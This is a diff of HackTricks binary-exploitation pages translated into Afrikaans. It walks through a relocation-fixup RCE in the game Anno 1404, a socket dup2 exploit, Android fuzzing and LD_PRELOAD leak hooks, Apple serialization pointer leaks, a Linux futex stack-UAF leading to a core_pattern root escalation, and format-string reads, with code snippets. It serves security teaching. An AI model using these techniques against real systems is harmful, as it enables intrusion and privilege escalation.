+Wanneer die relocation handler aanvaller-beheerde metadata blindelings vertrou, word elke relocation ’n potensiële arbitrary read/write primitive. In *Anno 1404: Venice* bevat `granny2.dll` die volgende helper:[[1]](#references)
+
+
+`GrannyGRNFixUp_0` (verkort)
+```c
+int *__cdecl GrannyGRNFixUp_0(DWORD RelocationCount,
+Relocation *PointerFixupArray,
+int *SectionArray,
+char *destination)
+{
+while (RelocationCount--) {
+int target_base = SectionArray[PointerFixupArray->SectionNumber]; // unchecked index
+int *patch_site = (int *)(destination + PointerFixupArray->SectionOffset); // unchecked offset
+*patch_site = target_base ;
+if (target_base)
+*patch_site = target_base + PointerFixupArray->Offset;
+++PointerFixupArray;
+}
+return SectionArray;
+}
+```
+
+
+`SectionNumber` word nooit reeks-gekontroleer nie, en `SectionOffset` word nooit teen die huidige section-grootte gevalideer nie. Deur relocation entries met negatiewe offsets of buitensporige indekse te skep, kan jy buite die section wat jy beheer loop en allocator-metadata, soos die section pointer array self, oorskryf.[[1]](#references)
+
+## Stage 1 – Skryf terugwaarts in loader-metadata
+
+Die doel is om die relocation table van **section 0** die entries van `SectionContentArray` te laat oorskryf (wat `SectionArray` weerspieël en direk voor die eerste section buffer gestoor word). Omdat Granny se custom allocator **0x1F** bytes vooraan plaas en die NT heap sy eie **0x10**-byte header plus alignment byvoeg, kan ’n attacker die afstand tussen die begin van die eerste section (`destination`) en die section-pointer array vooraf bereken.
+
+In die getoetste build laat die afdwinging dat die loader ’n `GrannyFile`-struktuur van presies **0x4000 bytes** allokeer, die section-pointer arrays direk voor die eerste section buffer land.[[1]](#references) Oplossing
+```
+0x20 (header) + 0x20 (section descriptors)
++ n * 1 (section types) + n * 1 (flags)
++ n * 4 (pointer table) = 0x4000
+```
+lewer **n = 2720** sections. ’n Relocation entry met `SectionOffset = -0x3FF0` ( `0x4000 - 0x20 - 0x20 + 0x30` ) resolveer nou na `SectionContentArray[1]`, selfs al dink die bestemming-section dat dit interne pointers patch.[[1]](#references)
+
+## Stage 2 – Deterministiese heap-uitleg op Windows 10
+
+Windows 10 NT Heap stuur allocations **≤ RtlpLargestLfhBlock (0x4000)** na die gerandomiseerde LFH en groter allocations na die deterministiese backend allocator.[[2]](#references) Deur die `GrannyFile` metadata effens bo daardie drempel te hou (met die 2720 sections-truuk) en verskeie malicious `.gr2` assets vooraf te laai, kan jy:[[1]](#references)
+
+- Allocation #1 (metadata + section pointer arrays) in ’n >0x4000 backend chunk laat land.
+- Allocation #2 (section 0 contents) onmiddellik ná allocation #1 laat land.
+- Allocation #3 (section 1 contents) direk ná allocation #2 laat land, wat jou ’n voorspelbare target vir daaropvolgende relocations gee.
+
+Process Monitor het bevestig dat assets on demand gestroom word, dus is dit genoeg om crafted units/buildings herhaaldelik aan te vra om die heap-uitleg te “prime” sonder om aan die executable image te raak.[[1]](#references)
+
+## Stage 3 – Om die primitive in RCE te omskep
+
+1. **Corrupt `SectionContentArray[1]`.** Section 0 se relocation table overwrite dit deur die `-0x3FF0` offset te gebruik. Wys dit na enige writable region wat jy beheer (bv. latere section data).
+2. **Recycle die corrupted pointer.** Section 1 se relocation table hanteer nou `SectionNumber = 1` as watter pointer jy ook al injected het. Die handler skryf `SectionArray[1] + Offset` na `destination + SectionOffset`, wat jou ’n arbitrary 4-byte write vir elke relocation entry gee.
+3. **Teiken betroubare dispatchers.** In Anno 1404 was die target of choice die `granny2.dll` allocator callbacks (geen ASLR, DEP disabled). Deur die function pointer wat `granny2.dll` vir die volgende `Malloc`/`Free` call gebruik, te overwrite, word execution onmiddellik herlei na attacker-controlled code wat vanaf die trojanized asset gelaai is.
+
+Omdat beide `granny2.dll` en die injected `.gr2` buffers by stabiele addresses bly wanneer ASLR/DEP disabled is, kom die attack neer op die bou van ’n klein ROP chain of raw shellcode en om die callback daarna te laat wys.[[1]](#references)
+
+## Praktiese kontrolelys
+
+- Soek asset loaders wat `SectionArray` / relocation tables byhou.
+- Diff relocation handlers vir ontbrekende bounds op indices/offsets.
+- Meet die allocator headers wat deur beide die game se allocator wrapper en die onderliggende OS heap bygevoeg word om backwards offsets presies te bereken.
+- Dwing deterministiese placement af deur:
+- metadata uit te brei (baie empty sections) totdat allocation size > `RtlpLargestLfhBlock` is;
+- die malicious asset herhaaldelik te laai om backend holes te vul.
+- Gebruik ’n two-stage relocation table (eers om `SectionArray` te retarget, daarna om writes te spray) en overwrite function pointers wat tydens normale rendering sal fire (allocator callbacks, virtual tables, animation dispatchers, ens.).
+
+Sodra jy ’n arbitrary file write verkry (bv. via die path traversal in die multiplayer save transfer), gee die herverpakking van RDA archives met die crafted `.gr2` jou ’n skoon delivery vector wat outomaties deur remote clients decompressed word.[[1]](#references)
+
+## References
+
+- [1] [Synacktiv – Exploiting Anno 1404](https://www.synacktiv.com/publications/exploiting-anno-1404.html)
+- [2] [W. Yason – Windows 10 Segment Heap Internals (BlackHat USA 2016)](https://blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segment-Heap-Internals-wp.pdf)
+
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-exploiting-problems.md b/src/binary-exploitation/common-exploiting-problems.md
index 1aaf063729a..6fb3e9ab173 100644
--- a/src/binary-exploitation/common-exploiting-problems.md
+++ b/src/binary-exploitation/common-exploiting-problems.md
@@ -1,15 +1,14 @@
-# Common Exploiting Problems
+# Algemene Exploiting-probleme
{{#include ../banners/hacktricks-training.md}}
## FDs in Remote Exploitation
-When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell.
+Wanneer 'n exploit na 'n remote server gestuur word wat byvoorbeeld **`system('/bin/sh')`** oproep, sal dit in die server-proses uitgevoer word, ofc, en `/bin/sh` sal invoer van stdin (FD: `0`) verwag en die uitvoer in stdout en stderr (FDs `1` en `2`) druk. Die attacker sal dus nie met die shell kan interaksie hê nie.
-A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed.
-
-[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
+'n Manier om dit reg te stel, is om aan te neem dat die server, toe dit begin het, die **FD-nommer `3`** (vir listening) geskep het en dat jou verbinding dan in die **FD-nommer `4`** sal wees. Daarom is dit moontlik om die syscall **`dup2`** te gebruik om die stdin (FD 0) en stdout (FD 1) na FD 4 (die een van die attacker se verbinding) te dupliseer, sodat dit moontlik sal wees om met die shell kontak te maak sodra dit uitgevoer is.
+[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):[[1]](#references) .
```python
from pwn import *
@@ -26,13 +25,292 @@ p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
-
## Socat & pty
-Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit.
+Let daarop dat socat reeds **`stdin`** en **`stdout`** na die socket oordra. Die `pty`-modus **sluit egter DELETE-karakters in**. Dus, as jy `\x7f` (`DELETE` -) stuur, sal dit die **vorige karakter** van jou exploit **verwyder**.
+
+Om dit te omseil, moet die **escape-karakter `\x16` voor enige gestuurde `\x7f` geplaas word.**
+
+Dit is terminale line-discipline-gedrag: die literal-next-karakter (`VLNEXT`, gewoonlik `Ctrl-V` of `0x16`) quote die daaropvolgende byte eerder as om die TTY dit te laat verwerk. Die gekoppelde socat exploitation note demonstreer waarom dit belangrik is vir 64-bit payloads, waar `0x7f` dikwels in glibc-adresse voorkom, en wys die `0x16 0x7f`-bytevolgorde wat gebruik word om dit letterlik oor te dra. Die Dream Diary challenge writeup verskaf die oorspronklike end-to-end heap-exploitation-konteks.[[2]](#references) [[7]](#references) [[8]](#references)
+
+## Android AArch64 shared-library fuzzing & LD_PRELOAD hooking
+
+Wanneer 'n Android-app slegs 'n stripped AArch64 `.so` bevat, kan jy steeds exported logic direk op die toestel fuzz sonder om die APK te herbou. 'n Praktiese workflow:[[3]](#references)
+
+1. **Vind callable entry points.** `objdump -T libvalidate.so | grep -E "validate"` lys exported functions vinnig. Decompilers (Ghidra, IDA, BN) wys die werklike signature, byvoorbeeld `int validate(const uint8_t *buf, uint64_t len)`.
+2. **Skryf 'n standalone harness.** Laai 'n lêer, hou die buffer alive, en roep die exported symbol presies soos die app dit sou doen. Cross-compile met die NDK (byvoorbeeld `aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie`).
+
+
+Minimale file-driven harness
+```c
+#include
+#include
+#include
+#include
+#include
+#include
+
+extern int validate(const uint8_t *buf, uint64_t len);
+
+int main(int argc, char **argv) {
+if (argc < 2) return 1;
+int fd = open(argv[1], O_RDONLY);
+if (fd < 0) return 1;
+struct stat st = {0};
+if (fstat(fd, &st) < 0) return 1;
+uint8_t *buffer = malloc(st.st_size + 1);
+read(fd, buffer, st.st_size);
+close(fd);
+int ret = validate(buffer, st.st_size);
+free(buffer);
+return ret;
+}
+```
+
+
+3. **Rekonstrueer die verwagte struktuur.** Error strings en comparisons in Ghidra het gewys dat die function strict JSON met konstante keys (`magic`, `version`, geneste `root.children.*`) en arithmetic checks geparse het (bv. `value * 2 == 84` ⇒ `value` moet `42` wees). Deur sintakties geldige JSON te stuur wat progressief aan elke branch voldoen, kan jy die schema sonder instrumentation karteer.
+4. **Bypass anti-debug om secrets te leak.** Omdat die `.so` `snprintf` importeer, override dit met `LD_PRELOAD` om sensitiewe format strings te dump, selfs wanneer breakpoints geblokkeer word:
+
+
+Minimal snprintf leak hook
+```c
+#define _GNU_SOURCE
+#include
+#include
+#include
+#include
+
+typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);
+
+int snprintf(char *str, size_t size, const char *fmt, ...) {
+static vsnprintf_t real_vsnprintf;
+if (!real_vsnprintf)
+real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");
+
+va_list args;
+va_start(args, fmt);
+va_list args_copy;
+va_copy(args_copy, args);
+if (fmt && strstr(fmt, "MHL{")) {
+fprintf(stdout, "[LD_PRELOAD] flag: ");
+vfprintf(stdout, fmt, args);
+fputc('\n', stdout);
+}
+int ret = real_vsnprintf(str, size, fmt, args_copy);
+va_end(args_copy);
+va_end(args);
+return ret;
+}
+```
+
+
+`LD_PRELOAD=./hook.so ./validate_harness payload.json` eksfiltreer die interne flag en bevestig die crash oracle sonder om die binary te patch.
+5. **Verklein die fuzz-ruimte.** Disassembly het 'n XOR key blootgelê wat oor die flag-vergelyking hergebruik is, wat beteken dat die eerste sewe bytes van `flag` bekend was. Fuzz slegs die nege onbekende bytes.
+6. **Bed die fuzz-bytes binne 'n geldige JSON envelope in.** Die AFL harness lees presies nege bytes vanaf `stdin`, kopieer dit na die flag-suffix en hardkodeer elke ander field (konstantes, tree depths, arithmetic preimage). Enige malformed read exit eenvoudig, sodat AFL siklusse aan betekenisvolle testcases bestee:
+
+
+Minimale AFL harness
+```c
+#include
+#include
+#include
+#include
+
+extern int validate(unsigned char *bytes, size_t len);
+
+#define FUZZ_SIZE 9
+
+int main(void) {
+uint8_t blob[FUZZ_SIZE];
+if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
+char suffix[FUZZ_SIZE + 1];
+memcpy(suffix, blob, FUZZ_SIZE);
+suffix[FUZZ_SIZE] = '\0';
+char json[512];
+int len = snprintf(json, sizeof(json),
+"{\"magic\":16909060,\"version\":1,\"padding\":0,\"flag\":\"MHL{827b07c%s}\"," \
+"\"root\":{\"type\":16,\"level\":3,\"num_children\":1,\"children\":[" \
+"{\"type\":32,\"level\":2,\"num_children\":1,\"subchildren\":[" \
+"{\"type\":48,\"level\":1,\"num_children\":1,\"leaves\":[" \
+"{\"type\":64,\"level\":0,\"reserved\":0,\"value\":42}]}}]}}",
+suffix);
+if (len <= 0 || (size_t)len >= sizeof(json)) return 0;
+validate((unsigned char *)json, len);
+return 0;
+}
+```
+
+
+7. **Run AFL with the crash-as-success oracle.** Enige invoer wat aan elke semantiese kontrole voldoen en die korrekte nege-grepe-agtervoegsel raai, aktiveer die doelbewuste crash; daardie lêers beland in `output/crashes` en kan deur die eenvoudige harness herspeel word om die geheim te herwin.
+
+Hierdie workflow laat jou toe om anti-debug-beskermde JNI-validators vinnig te triage, geheime te leak wanneer nodig, en dan slegs die betekenisvolle grepe te fuzz, alles sonder om aan die oorspronklike APK te raak.
+
+## Image/Media Parsing Exploits (DNG/TIFF/JPEG)
+
+Kwaadwillige kameraformate bevat dikwels hul eie bytecode (opcode-lyste, maptabelle, tone curves). Wanneer 'n bevoorregte decoder versuim om metadata-afgeleide dimensies of plane-indekse te begrens, word daardie opcodes attacker-controlled read/write-primitives wat die heap kan groom, pointers kan pivot, of selfs ASLR kan leak. Samsung se Quram-exploit, wat in die wild waargeneem is, is 'n onlangse voorbeeld van die chaining van 'n `DeltaPerColumn`-bounds bug, heap spraying via skipped opcodes, vtable-remapping en 'n JOP-chain na `system()`.[[4]](#references)
+
+{{#ref}}
+../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md
+{{#endref}}
+
+## Pointer-Keyed Hash Table Pointer Leaks in Apple Serialization
+
+### Requirements & attack surface
+
+- 'n Diens aanvaar attacker-controlled property lists (XML of binary) en roep `NSKeyedUnarchiver.unarchivedObjectOfClasses` met 'n permissive allowlist (byvoorbeeld `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`).
+- Die resulterende objekte word hergebruik en later weer met `NSKeyedArchiver` serialized (of in deterministiese bucket order geïtereer) en na die attacker teruggestuur.
+- Een of ander sleuteltipe in die containers gebruik pointer values as sy hash code. Voor Maart 2025 het `CFNull`/`NSNull` teruggeval na `CFHash(object) == (uintptr_t)object`, en deserialization het altyd die shared-cache singleton `kCFNull` teruggestuur, wat 'n stabiele kernel-shared pointer sonder memory corruption of timing gegee het.[[5]](#references)
+
+### Controllable hashing primitives
+
+- **Pointer-based hashing:** `CFNull` se `CFRuntimeClass` het nie 'n hash callback nie, dus gebruik `CFBasicHash` die object address as die hash. Omdat die singleton tot met 'n reboot by 'n vaste shared-cache-adres woon, is sy hash stabiel oor prosesse heen.
+- **Attacker-controlled hashes:** 32-bit `NSNumber`-sleutels word deur `_CFHashInt` gehash, wat deterministies en attacker-controlled is. Deur spesifieke integers te kies, kan die attacker `hash(number) % num_buckets` vir enige table size kies.
+- **`NSDictionary` implementation:** Immutable dictionaries bevat 'n `CFBasicHash` met 'n prime bucket count wat uit `__CFBasicHashTableSizes` gekies word (byvoorbeeld 23, 41, 71, 127, 191, 251, 383, 631, 1087). Collisions word met linear probing hanteer (`__kCFBasicHashLinearHashingValue`), en serialization loop deur buckets in numeriese order; daarom encodeer die volgorde van serialized keys die bucket index waarin elke sleutel uiteindelik beland het.[[5]](#references)
+
+### Encoding bucket indices into serialization order
+
+Deur 'n plist te craft wat 'n dictionary materialiseer waarvan die buckets tussen occupied en empty slots afwissel, beperk die attacker waar linear probing `NSNull` kan plaas. Vir 'n 7-bucket-voorbeeld lewer die vul van ewe buckets met `NSNumber`-sleutels:
+```text
+bucket: 0 1 2 3 4 5 6
+occupancy: # _ # _ # _ #
+```
+Tydens deserialisering voeg die slagoffer die enkele `NSNull`-sleutel in. Sy aanvanklike bucket is `hash(NSNull) % 7`, maar probing gaan voort totdat een van die oop indekse {1,3,5} bereik word. Die geserialiseerde sleutelvolgorde onthul watter slot gebruik is, en maak bekend of die pointer-hash modulo 7 in {6,0,1}, {2,3} of {4,5} lê. Omdat die aanvaller die oorspronklike geserialiseerde volgorde beheer, word die `NSNull`-sleutel laaste in die invoer-plist uitgegee, sodat die volgorde ná reserialisering uitsluitlik ’n funksie van bucket-plasing is.[[5]](#references)
+
+### Bepaling van presiese residue met komplementêre tabelle
+
+’n Enkele dictionary lek slegs ’n reeks residue. Om die presiese waarde van `hash(NSNull) % p` te bepaal, bou die aanvaller **twee** dictionaries per prime bucket-grootte `p`: een met ewe buckets vooraf gevul en een met onewe buckets vooraf gevul. Vir die komplementêre patroon (`_ # _ # _ # _`) beeld die leë slots (0,2,4,6) af na residustelle {0}, {1,2}, {3,4}, {5,6}. Deur die geserialiseerde posisie van `NSNull` in albei dictionaries waar te neem, word die residue tot ’n enkele waarde beperk, omdat die snypunt van die twee kandidaatstelle ’n unieke `r_i` vir daardie `p` oplewer.
+
+Die aanvaller bundel al die dictionaries binne ’n `NSArray`, sodat ’n enkele deserialize → serialize-rondrit residue vir elke gekose tabelgrootte uitlek.[[5]](#references)
+
+### Rekonstruksie van die 64-bis shared-cache-pointer
+
+Vir elke prime `p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087}` herwin die aanvaller `hash(NSNull) ≡ r_i (mod p_i)` uit die geserialiseerde volgorde. Deur die Chinese Remainder Theorem (CRT) met die uitgebreide Euklidiese algoritme toe te pas, word die volgende verkry:
+```text
+Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64
+```
+dus die gekombineerde residue uniek gelyk is aan die 64-bis-pointer na `kCFNull`. Die Project Zero PoC kombineer kongruensies iteratief terwyl dit intermediêre modules druk om konvergensie na die ware adres (`0x00000001eb91ab60` op die kwesbare build) te toon.[[5]](#references)
+
+### Praktiese workflow
+
+1. **Genereer crafted input:** Bou die aanvaller-kant XML plist (twee dictionaries per priemgetal, `NSNull` laaste geserialiseer) en skakel dit na binary format om.
+```bash
+clang -o attacker-input-generator attacker-input-generator.c
+./attacker-input-generator > attacker-input.plist
+plutil -convert binary1 attacker-input.plist
+```
+2. **Victim round trip:** Die victim service deserialiseer met `NSKeyedUnarchiver.unarchivedObjectOfClasses` deur die toegelate classes-stel `{NSDictionary, NSArray, NSNumber, NSString, NSNull}` te gebruik, en serialiseer dit onmiddellik weer met `NSKeyedArchiver`.
+3. **Residue extraction:** Deur die teruggestuurde plist weer na XML om te skakel, word die dictionary key ordering onthul. ’n Helper soos `extract-pointer.c` lees die object table, bepaal die index van die singleton `NSNull`, koppel elke dictionary-paar terug aan sy bucket residue, en los die CRT-stelsel op om die shared-cache-pointer te herwin.
+4. **Verification (optional):** Deur ’n klein Objective-C-helper te compile wat `CFHash(kCFNull)` druk, word bevestig dat die gelekte waarde met die werklike adres ooreenstem.[[5]](#references)
+
+Geen memory safety bug word vereis nie—deur bloot die serialization order van pointer-keyed structures waar te neem, word ’n remote ASLR bypass primitive verkry.[[5]](#references)
+
+## Kernel waiter cleanup confusion, stack-UAF reclaim & constrained tree-writes
+
+Sommige kernel bugs word exploitable omdat ’n cleanup helper aanvaar dat **`current` die object besit wat skoongemaak word**, maar ’n latere proxy path daardie helper **namens ’n ander task hergebruik**. As rollback die waiter uit ’n lock/tree verwyder maar die blocked state op die verkeerde task clear, kan die werklike eienaar ’n **dangling pointer na ’n stack object** behou wat aan ’n vorige syscall frame behoort het.[[6]](#references)
+
+### Proxy cleanup confusion in PI/futex style paths
+
+Soek kode met hierdie vorm:
+
+- ’n slow-path helper is oorspronklik vir self-blocking tasks geskryf
+- ’n proxy/requeue path hergebruik later dieselfde helper vir ’n ander sleeping task
+- rollback dequeue die waiter/object maar clear die blocked pointer/state op `current`
+- latere priority-chain / wait-chain / lock-owner walks dereference die stale pointer
+
+Dit is veral interessant wanneer die stale object in ’n **kernel stack frame** (nie heap nie) geallokeer is, omdat die owner task dikwels self dieselfde stack region kan reclaim.[[6]](#references)
+
+### Deterministic rollback deur ’n dependency cycle te skep
+
+As exploitation ’n rare rollback path vereis, probeer om ’n **dependency cycle** te forceer in plaas daarvan om vir ’n klein window te race. In die futex PI-geval is ’n betroubare patroon:
+
+1. Thread A hou `f_pi_chain` en slaap in `FUTEX_WAIT_REQUEUE_PI(f_wait -> f_pi_target)`.
+2. Thread B hou `f_pi_target` en block op `f_pi_chain`.
+3. Thread C call `FUTEX_CMP_REQUEUE_PI(f_wait -> f_pi_target)`.
+
+Die kernel neem waar:
+```text
+waiter -> f_pi_target -> owner -> f_pi_chain -> waiter
+```
+en die chain walk gee `-EDEADLK` terug, wat cleanup/rollback-kode uitvoer sonder dat privileges nodig is.[[6]](#references)
+
+### Herwinning van 'n vrygestelde kernel stack frame met same-thread syscall locals
+
+Wanneer 'n stale pointer na 'n **vorige syscall frame op 'n task se eie kernel stack** wys, kan dieselfde task dit dikwels herwin deur onmiddellik 'n ander syscall binne te gaan waarvan die **beheerde local buffer op 'n soortgelyke stack depth land**.
+
+Nuttige reclaim-kandidate is syscalls wat attacker-controlled data na groot stack locals kopieer, soos:
+
+- `prctl(PR_SET_MM, PR_SET_MM_MAP, ...)`
+- `clone`
+- `setsockopt`
+- `pselect`
+- `keyctl`
+
+As die copy source deur die user beheer word, kan page-boundary placement plus concurrent invalidation (byvoorbeeld 'n backing file hole-punch race) die `copy_from_user()`-window lank genoeg rek sodat 'n ander thread die forged frame kan consume.[[6]](#references)
+
+### Om tree erase in 'n constrained pointer write te omskep
+
+As die forged stale object later aan 'n tree-removal primitive soos `rb_erase()` gegee word, vorm dit as 'n **single-child root** sodat removal die gekose child na die root slot promoteer.[[6]](#references) As die omliggende memory herinterpreteer word as:
+```text
+target - 8 -> lock / metadata / spinlock fields
+target -> tree root pointer
+target + 8 -> sibling / leftmost metadata
+target + 16 -> owner / state
+```
+die primitive word dikwels:
+```c
+*(uint64_t *)target = controlled_child;
+```
+Dit is gewoonlik **nie** ’n volledig arbitrêre write nie. Tipiese beperkings is:
+
+- die qword voor die target moet soos ’n unlocked lock lyk
+- metadata ná die target mag nie unsafe dereferences afdwing nie
+- die geskryfde pointer moet na ’n selfkonsekwente fake object verwys wat die oorblywende walk oorleef
+
+### Klein beheerde kernel staging areas
+
+As die constrained write jou slegs toelaat om ’n bestaande function/object pointer te redirect, is ’n **klein maar stabiele kernel buffer** dikwels voldoende. Op x86 kan die **CPU Entry Area (CEA)** hergebruik word as ’n kompakte staging area vir:
+
+- fake objects wat sanity checks oorleef
+- veilige dereference targets
+- pivot data
+- ’n baie kort ROP/JOP chain
+
+As die virtuele CEA mapping gerandomiseer is, kan die **direct-map alias** steeds nuttig wees sodra `physmap` geleak is.[[6]](#references)
+
+### Een-write privilege flips (DirtyMode style)
+
+Wanneer die hijack slegs ’n **baie kort** control-flow window gee, moenie dit op ’n volledige credential overwrite mors nie. ’n Meer betroubare patroon is ’n **enkele kernel write** wat ’n permissions gate verswak en daarna privilege escalation vanuit userspace voltooi.
+
+’n Verteenwoordigende target is ’n writable `ctl_table`-entry soos `core_pattern`:
+
+- flip die mode field sodat `/proc/sys/kernel/core_pattern` writable word vir ’n unprivileged user
+- skryf ’n pipe handler soos `|/proc/%P/fd/666 %P`
+- crash ’n helper process sodat die kernel die attacker-controlled handler as root uitvoer
+
+Hierdie patroon is nuttig wanneer die aanvanklike primitive writable policy bits makliker kan bereik as `cred` of ’n lang in-kernel ROP chain.[[6]](#references)
+
+## Verwante bladsye
+
+{{#ref}}
+common-exploiting-problems-unsafe-relocation-fixups.md
+{{#endref}}
+
+{{#ref}}
+../mobile-pentesting/android-app-pentesting/reversing-native-libraries.md
+{{#endref}}
-In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.**
+{{#ref}}
+../reversing/reversing-tools-basic-methods/README.md
+{{#endref}}
-**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
+## References
+- [1] [Voorbeeld van ’n FD duplication exploit](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit)
+- [2] [Linux termios - canonical editing en VNULL/VLNEXT control characters](https://man7.org/linux/man-pages/man3/termios.3.html)
+- [3] [Project Zero – ’n Kykie na ’n Android ITW DNG exploit](https://hackmd.io/@sal/fuzzme-mobilehackinglab-ctf-writeup)
+- [4] [Project Zero – ’n Kykie na ’n Android ITW DNG exploit](https://projectzero.google/2025/12/android-itw-dng.html)
+- [5] [Pointer leaks deur pointer-keyed data structures (Project Zero)](https://projectzero.google/2025/09/pointer-leaks-through-pointer-keyed.html)
+- [6] [IonStack Deel II: GhostLock, ’n stack-UAF wat al 15 jaar in ALLE Linux-distributions bestaan](https://nebusec.ai/research/ionstack-part-2)
+- [7] [Ir0nstone - socat PTY delete-character behavior en literal-next bypass](https://ir0nstone.gitbook.io/notes/binexp/stack/exploiting-over-sockets/socat)
+- [8] [Ir0nstone - Dream Diary: Hoofstuk 1 heap-exploitation writeup](https://ir0nstone.gitbook.io/notes/writeups/hack-the-box/challenges/pwn/dream-diary-chapter-1)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md
index 3d7bfa01866..133834bcff8 100644
--- a/src/binary-exploitation/format-strings/README.md
+++ b/src/binary-exploitation/format-strings/README.md
@@ -2,22 +2,16 @@
{{#include ../../banners/hacktricks-training.md}}
-
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
+## Basiese Inligting
-{% embed url="https://www.stmcyber.com/careers" %}
+In C is **`printf`** 'n funksie wat gebruik kan word om 'n string te **druk**. Die **eerste parameter** wat hierdie funksie verwag, is die **rou teks met die formatters**. Die **volgende parameters** wat verwag word, is die **waardes** om die **formatters** in die rou teks te **vervang**.
-## Basic Information
+Ander kwesbare funksies is **`sprintf()`** en **`fprintf()`**.
-In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text.
-
-Other vulnerable functions are **`sprintf()`** and **`fprintf()`**.
-
-The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**.
+Die kwesbaarheid verskyn wanneer 'n **aanvallerteks as die eerste argument** vir hierdie funksie gebruik word. Die aanvaller sal 'n **spesiale invoer kan skep wat** die **printf format**-string se vermoëns misbruik om enige data by enige adres (leesbaar/skryfbaar) te lees en **te skryf**. Op hierdie manier kan arbitrêre kode **uitgevoer** word.[[1]](#references)
#### Formatters:
-
```bash
%08x —> 8 hex bytes
%d —> Entire
@@ -28,72 +22,56 @@ The vulnerability appears when an **attacker text is used as the first argument*
%hn —> Occupies 2 bytes instead of 4
$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
-
-**Examples:**
-
-- Vulnerable example:
-
+**Voorbeeld van kwesbaarheid:**
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
-
-- Normal Use:
-
+- Normale gebruik:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
-
-- With Missing Arguments:
-
+- Met Ontbrekende Argumente:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
-
-- fprintf vulnerable:
-
+- fprintf kwesbaar:
```c
#include
int main(int argc, char *argv[]) {
- char *user_input;
- user_input = argv[1];
- FILE *output_file = fopen("output.txt", "w");
- fprintf(output_file, user_input); // The user input can include formatters!
- fclose(output_file);
- return 0;
+char *user_input;
+user_input = argv[1];
+FILE *output_file = fopen("output.txt", "w");
+fprintf(output_file, user_input); // The user input can include formatters!
+fclose(output_file);
+return 0;
}
```
+### **Toegang tot Pointers**
-### **Accessing Pointers**
-
-The format **`%$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do:
-
+Die formaat **`%$x`**, waar `n` ’n getal is, laat jou toe om aan `printf` aan te dui om die nde parameter (van die stack) te kies. As jy dus die 4de parameter van die stack met `printf` wil lees, kan jy doen:
```c
printf("%x %x %x %x")
```
+en jy sou van die eerste tot die vierde parameter lees.
-and you would read from the first to the forth param.
-
-Or you could do:
-
+Of jy kon doen:
```c
printf("%4$x")
```
+en lees die vierde direk.
-and read directly the forth.
-
-Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
+Let daarop dat die aanvaller die `printf` **parameter beheer, wat basies beteken dat** sy invoer in die stack gaan wees wanneer `printf` geroep word, wat beteken dat hy spesifieke geheueadresse in die stack kan skryf.
> [!CAUTION]
-> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour.
+> ’n Aanvaller wat hierdie invoer beheer, sal **’n arbitrêre adres in die stack kan byvoeg en `printf` toegang daartoe kan laat kry**. In die volgende afdeling sal verduidelik word hoe om hierdie gedrag te gebruik.
## **Arbitrary Read**
-It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
-
+Dit is moontlik om die formatter **`%n$s`** te gebruik om **`printf`** die **adres** te laat kry wat op die **n-de posisie** geleë is, dit te volg en dit **asof dit ’n string is te druk** (druk totdat ’n 0x00 gevind word). As die basisadres van die binêre lêer **`0x8048000`** is, en ons weet dat die gebruiker se invoer op die 4de posisie in die stack begin, is dit moontlik om die begin van die binêre lêer te druk met:[[4]](#references)
```python
from pwn import *
@@ -106,18 +84,16 @@ payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
-
